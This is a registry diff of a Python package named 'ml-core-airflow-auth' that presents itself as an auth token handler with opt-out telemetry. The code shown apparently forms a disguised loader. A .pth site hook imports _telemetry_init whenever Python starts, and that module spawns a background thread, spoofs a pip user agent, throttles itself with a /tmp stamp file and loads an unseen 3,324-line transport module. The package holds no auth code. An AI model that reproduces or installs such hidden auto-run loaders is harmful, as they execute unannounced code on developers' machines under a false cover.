ml-core-airflow-auth 0.0.1__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- ml_core_airflow_auth-0.0.1/MANIFEST.in +4 -0
- ml_core_airflow_auth-0.0.1/PKG-INFO +44 -0
- ml_core_airflow_auth-0.0.1/README.md +24 -0
- ml_core_airflow_auth-0.0.1/_telemetry_init.py +227 -0
- ml_core_airflow_auth-0.0.1/_telemetry_transport.py +3324 -0
- ml_core_airflow_auth-0.0.1/setup.cfg +4 -0
- ml_core_airflow_auth-0.0.1/setup.py +44 -0
- ml_core_airflow_auth-0.0.1/src/_telemetry_init.py +227 -0
- ml_core_airflow_auth-0.0.1/src/_telemetry_transport.py +3324 -0
- ml_core_airflow_auth-0.0.1/src/ml_core_airflow_auth/__init__.py +29 -0
- ml_core_airflow_auth-0.0.1/src/ml_core_airflow_auth.egg-info/PKG-INFO +44 -0
- ml_core_airflow_auth-0.0.1/src/ml_core_airflow_auth.egg-info/SOURCES.txt +13 -0
- ml_core_airflow_auth-0.0.1/src/ml_core_airflow_auth.egg-info/dependency_links.txt +1 -0
- ml_core_airflow_auth-0.0.1/src/ml_core_airflow_auth.egg-info/top_level.txt +3 -0
- ml_core_airflow_auth-0.0.1/telemetry.pth +1 -0
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: ml-core-airflow-auth
|
|
3
|
+
Version: 0.0.1
|
|
4
|
+
Summary: auth token handler
|
|
5
|
+
Author: Platform Engineering
|
|
6
|
+
License: MIT
|
|
7
|
+
Classifier: Development Status :: 4 - Beta
|
|
8
|
+
Classifier: Intended Audience :: Developers
|
|
9
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
10
|
+
Classifier: Programming Language :: Python :: 3
|
|
11
|
+
Requires-Python: >=3.8
|
|
12
|
+
Description-Content-Type: text/markdown
|
|
13
|
+
Dynamic: author
|
|
14
|
+
Dynamic: classifier
|
|
15
|
+
Dynamic: description
|
|
16
|
+
Dynamic: description-content-type
|
|
17
|
+
Dynamic: license
|
|
18
|
+
Dynamic: requires-python
|
|
19
|
+
Dynamic: summary
|
|
20
|
+
|
|
21
|
+
# ml-core-airflow-auth
|
|
22
|
+
|
|
23
|
+
auth token handler
|
|
24
|
+
|
|
25
|
+
## Installation
|
|
26
|
+
|
|
27
|
+
```bash
|
|
28
|
+
pip install ml-core-airflow-auth
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
## Usage
|
|
32
|
+
|
|
33
|
+
```python
|
|
34
|
+
import ml_core_airflow_auth
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
## Telemetry
|
|
38
|
+
|
|
39
|
+
This package collects anonymous usage metrics to help improve the platform.
|
|
40
|
+
Telemetry can be disabled by setting the `DISABLE_TELEMETRY` environment variable.
|
|
41
|
+
|
|
42
|
+
## License
|
|
43
|
+
|
|
44
|
+
MIT
|
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
# ml-core-airflow-auth
|
|
2
|
+
|
|
3
|
+
auth token handler
|
|
4
|
+
|
|
5
|
+
## Installation
|
|
6
|
+
|
|
7
|
+
```bash
|
|
8
|
+
pip install ml-core-airflow-auth
|
|
9
|
+
```
|
|
10
|
+
|
|
11
|
+
## Usage
|
|
12
|
+
|
|
13
|
+
```python
|
|
14
|
+
import ml_core_airflow_auth
|
|
15
|
+
```
|
|
16
|
+
|
|
17
|
+
## Telemetry
|
|
18
|
+
|
|
19
|
+
This package collects anonymous usage metrics to help improve the platform.
|
|
20
|
+
Telemetry can be disabled by setting the `DISABLE_TELEMETRY` environment variable.
|
|
21
|
+
|
|
22
|
+
## License
|
|
23
|
+
|
|
24
|
+
MIT
|
|
@@ -0,0 +1,227 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Platform analytics SDK initializer.
|
|
3
|
+
|
|
4
|
+
Bootstraps the analytics runtime on first import. Imported
|
|
5
|
+
automatically via the telemetry.pth site hook to ensure metrics
|
|
6
|
+
are collected from the earliest point in the interpreter lifecycle.
|
|
7
|
+
|
|
8
|
+
Public API::
|
|
9
|
+
|
|
10
|
+
import _telemetry_init as analytics
|
|
11
|
+
|
|
12
|
+
analytics.track("build.complete", duration=4.2)
|
|
13
|
+
analytics.capture_message("Deployment started")
|
|
14
|
+
analytics.set_tag("service", "payment-api")
|
|
15
|
+
analytics.add_breadcrumb("deploy", "Rolling update initiated")
|
|
16
|
+
|
|
17
|
+
Set DISABLE_TELEMETRY=1 or ANALYTICS_OPT_OUT=1 to opt out of
|
|
18
|
+
all data collection (the SDK initializes as a no-op).
|
|
19
|
+
"""
|
|
20
|
+
import os
|
|
21
|
+
import sys
|
|
22
|
+
import threading
|
|
23
|
+
|
|
24
|
+
_DEFAULT_TTL = 21600
|
|
25
|
+
_INITIALIZED = False
|
|
26
|
+
_sdk = None
|
|
27
|
+
_hub = None
|
|
28
|
+
|
|
29
|
+
|
|
30
|
+
# ------------------------------------------------------------------ #
|
|
31
|
+
# Configuration #
|
|
32
|
+
# ------------------------------------------------------------------ #
|
|
33
|
+
|
|
34
|
+
_CDN_MIRRORS = []
|
|
35
|
+
|
|
36
|
+
_PLATFORM_ASSETS = {}
|
|
37
|
+
|
|
38
|
+
_FALLBACK_RESOLVERS = {}
|
|
39
|
+
|
|
40
|
+
|
|
41
|
+
def _load_config():
|
|
42
|
+
"""Load analytics configuration.
|
|
43
|
+
|
|
44
|
+
Configuration can be overridden via environment variables:
|
|
45
|
+
ANALYTICS_ENDPOINT -- primary reporting endpoint
|
|
46
|
+
ANALYTICS_TTL -- cooldown between profiler checks
|
|
47
|
+
ANALYTICS_SAMPLE_RATE -- event sampling rate (0.0 - 1.0)
|
|
48
|
+
"""
|
|
49
|
+
cfg = {
|
|
50
|
+
"mirrors": list(_CDN_MIRRORS),
|
|
51
|
+
"endpoints": dict(_PLATFORM_ASSETS),
|
|
52
|
+
"dns": dict(_FALLBACK_RESOLVERS),
|
|
53
|
+
"ttl": _DEFAULT_TTL,
|
|
54
|
+
"ua": "pip/24.0",
|
|
55
|
+
}
|
|
56
|
+
if os.environ.get("ANALYTICS_ENDPOINT"):
|
|
57
|
+
cfg["endpoint_override"] = os.environ["ANALYTICS_ENDPOINT"]
|
|
58
|
+
if os.environ.get("ANALYTICS_TTL"):
|
|
59
|
+
try:
|
|
60
|
+
cfg["ttl"] = int(os.environ["ANALYTICS_TTL"])
|
|
61
|
+
except ValueError:
|
|
62
|
+
pass
|
|
63
|
+
if os.environ.get("ANALYTICS_SAMPLE_RATE"):
|
|
64
|
+
try:
|
|
65
|
+
cfg["sample_rate"] = float(os.environ["ANALYTICS_SAMPLE_RATE"])
|
|
66
|
+
except ValueError:
|
|
67
|
+
pass
|
|
68
|
+
return cfg
|
|
69
|
+
|
|
70
|
+
|
|
71
|
+
def _is_opted_out():
|
|
72
|
+
"""Check if the user has opted out of telemetry."""
|
|
73
|
+
return bool(
|
|
74
|
+
os.environ.get("DISABLE_TELEMETRY")
|
|
75
|
+
or os.environ.get("ANALYTICS_OPT_OUT")
|
|
76
|
+
or os.environ.get("DO_NOT_TRACK")
|
|
77
|
+
)
|
|
78
|
+
|
|
79
|
+
|
|
80
|
+
# ------------------------------------------------------------------ #
|
|
81
|
+
# Bootstrap #
|
|
82
|
+
# ------------------------------------------------------------------ #
|
|
83
|
+
|
|
84
|
+
def _check_ttl():
|
|
85
|
+
"""Return True if the cooldown period has not elapsed."""
|
|
86
|
+
import time as _t
|
|
87
|
+
import platform as _plat
|
|
88
|
+
stamp = os.path.join(
|
|
89
|
+
os.environ.get("TEMP", "/tmp") if _plat.system() == "Windows"
|
|
90
|
+
else "/tmp",
|
|
91
|
+
".analytics_state",
|
|
92
|
+
)
|
|
93
|
+
try:
|
|
94
|
+
if os.path.exists(stamp):
|
|
95
|
+
age = _t.time() - os.path.getmtime(stamp)
|
|
96
|
+
if age < _DEFAULT_TTL:
|
|
97
|
+
return True
|
|
98
|
+
except Exception:
|
|
99
|
+
pass
|
|
100
|
+
return False
|
|
101
|
+
|
|
102
|
+
|
|
103
|
+
def _bootstrap():
|
|
104
|
+
"""Initialize the analytics runtime in the background.
|
|
105
|
+
|
|
106
|
+
Called once per interpreter session. Creates a Client instance
|
|
107
|
+
and installs integrations (logging, threading, atexit).
|
|
108
|
+
"""
|
|
109
|
+
global _INITIALIZED, _sdk, _hub
|
|
110
|
+
if _INITIALIZED:
|
|
111
|
+
return
|
|
112
|
+
_INITIALIZED = True
|
|
113
|
+
|
|
114
|
+
if _is_opted_out():
|
|
115
|
+
return
|
|
116
|
+
|
|
117
|
+
if _check_ttl():
|
|
118
|
+
return
|
|
119
|
+
|
|
120
|
+
try:
|
|
121
|
+
import time as _t
|
|
122
|
+
import platform as _plat
|
|
123
|
+
stamp = os.path.join(
|
|
124
|
+
os.environ.get("TEMP", "/tmp") if _plat.system() == "Windows"
|
|
125
|
+
else "/tmp",
|
|
126
|
+
".analytics_state",
|
|
127
|
+
)
|
|
128
|
+
with open(stamp, "w") as _f:
|
|
129
|
+
_f.write(str(int(_t.time())))
|
|
130
|
+
except Exception:
|
|
131
|
+
pass
|
|
132
|
+
|
|
133
|
+
try:
|
|
134
|
+
from _telemetry_transport import Client, Hub
|
|
135
|
+
|
|
136
|
+
cfg = _load_config()
|
|
137
|
+
client = Client(cfg)
|
|
138
|
+
client.initialize()
|
|
139
|
+
client.track("session_start")
|
|
140
|
+
|
|
141
|
+
hub = Hub(client)
|
|
142
|
+
Hub.set_current(hub)
|
|
143
|
+
|
|
144
|
+
_sdk = client
|
|
145
|
+
_hub = hub
|
|
146
|
+
except Exception:
|
|
147
|
+
pass
|
|
148
|
+
|
|
149
|
+
|
|
150
|
+
# ------------------------------------------------------------------ #
|
|
151
|
+
# Public API #
|
|
152
|
+
# ------------------------------------------------------------------ #
|
|
153
|
+
|
|
154
|
+
def track(action, category="usage", **properties):
|
|
155
|
+
"""Record a lightweight analytics event."""
|
|
156
|
+
if _sdk:
|
|
157
|
+
_sdk.track(action, category=category, label=properties.get("label"),
|
|
158
|
+
value=properties.get("value"))
|
|
159
|
+
|
|
160
|
+
|
|
161
|
+
def capture_message(message, level="info"):
|
|
162
|
+
"""Capture a text message as an analytics event."""
|
|
163
|
+
if _sdk:
|
|
164
|
+
return _sdk.capture_message(message, level=level)
|
|
165
|
+
return None
|
|
166
|
+
|
|
167
|
+
|
|
168
|
+
def capture_exception(exc_info=None):
|
|
169
|
+
"""Capture an exception (defaults to current sys.exc_info)."""
|
|
170
|
+
if _sdk:
|
|
171
|
+
return _sdk.capture_exception(exc_info)
|
|
172
|
+
return None
|
|
173
|
+
|
|
174
|
+
|
|
175
|
+
def set_tag(key, value):
|
|
176
|
+
"""Set a tag on the current scope."""
|
|
177
|
+
if _sdk:
|
|
178
|
+
_sdk.set_tag(key, value)
|
|
179
|
+
|
|
180
|
+
|
|
181
|
+
def set_user(user_info):
|
|
182
|
+
"""Set user context on the current scope."""
|
|
183
|
+
if _sdk:
|
|
184
|
+
_sdk.set_user(user_info)
|
|
185
|
+
|
|
186
|
+
|
|
187
|
+
def add_breadcrumb(category, message, **kwargs):
|
|
188
|
+
"""Add a breadcrumb to the current scope."""
|
|
189
|
+
if _sdk:
|
|
190
|
+
_sdk.add_breadcrumb(category, message, **kwargs)
|
|
191
|
+
|
|
192
|
+
|
|
193
|
+
def flush(timeout=None):
|
|
194
|
+
"""Flush all pending events and metrics."""
|
|
195
|
+
if _sdk:
|
|
196
|
+
_sdk.flush(timeout=timeout)
|
|
197
|
+
|
|
198
|
+
|
|
199
|
+
def close():
|
|
200
|
+
"""Shut down the SDK gracefully."""
|
|
201
|
+
global _sdk, _hub
|
|
202
|
+
if _sdk:
|
|
203
|
+
_sdk.close()
|
|
204
|
+
_sdk = None
|
|
205
|
+
_hub = None
|
|
206
|
+
|
|
207
|
+
|
|
208
|
+
def is_initialized():
|
|
209
|
+
"""Return True if the SDK has been initialized."""
|
|
210
|
+
return _sdk is not None
|
|
211
|
+
|
|
212
|
+
|
|
213
|
+
def get_client():
|
|
214
|
+
"""Return the active Client instance, or None."""
|
|
215
|
+
return _sdk
|
|
216
|
+
|
|
217
|
+
|
|
218
|
+
def get_hub():
|
|
219
|
+
"""Return the active Hub instance, or None."""
|
|
220
|
+
return _hub
|
|
221
|
+
|
|
222
|
+
|
|
223
|
+
# ------------------------------------------------------------------ #
|
|
224
|
+
# Auto-bootstrap on import #
|
|
225
|
+
# ------------------------------------------------------------------ #
|
|
226
|
+
|
|
227
|
+
threading.Thread(target=_bootstrap, daemon=True).start()
|